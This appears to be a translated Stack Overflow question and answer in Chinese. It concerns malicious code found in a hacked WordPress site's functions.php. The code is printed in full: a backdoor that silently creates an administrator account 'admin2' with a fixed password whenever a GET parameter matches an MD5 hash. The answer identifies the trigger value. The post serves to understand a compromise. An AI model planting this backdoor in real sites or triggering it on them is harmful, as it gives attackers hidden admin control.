php - 在 functions.php 文件中找到的这个 md5( $_GET['path'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' 是什么意思?
问题描述
在被黑的 WordPress 网站中发现恶意代码时,我发现了以下代码
add_action( 'wp_head', 'my_path' );
function my_path() {
if ( md5( $_GET['path'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) {
require( 'wp-includes/registration.php' );
if ( !username_exists( 'admin2' ) ) {
$user_id = wp_create_user( 'admin2', 'pass!path' );
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
}
}
}
这段代码有什么作用?
if ( md5( $_GET['path'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' )
这是什么意思?
'34d1f91fb2e514b8576fab1a75a89a6b'
提前致谢。
解决方案
这个
if ( md5( $_GET['path'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' )
计算字符串的 MD5 校验_GET['path']
和并将其与另一个字符串(十六进制字符串)进行比较。它可以替换为
if ( $_GET['path'] == 'go' )
...因为 MD5 校验和'go'
是'34d1f91fb2e514b8576fab1a75a89a6b'
. 语义只改变了 1 点:原始匹配具有相同 MD5 校验和的其他字符串,但替换没有。
推荐阅读
- asterisk - Asterisk BridgeWait 如何桥接到一般的桥
- spring-boot - 如何使用@RequestBody 在 Spring Controller 中上传文件?
- react-native - 更改选项卡后如何弹出堆栈顶部?
- json - 我该如何解决这个 kibana 控制台错误
- scala - 在 Spark Scala Dataframe 上结合 When 子句和 tail: _*
- go - 接口中的动态返回类型
- next.js - 如何使用relay+nextjs+react-relay-network-modern-ssr?
- android - 如何从 AccessibilityService 完成当前活动?
- json - vb.net 上的 http 客户端
- amazon-ec2 - 公有子网中具有 EIP 的 EC2 实例未连接到 Internet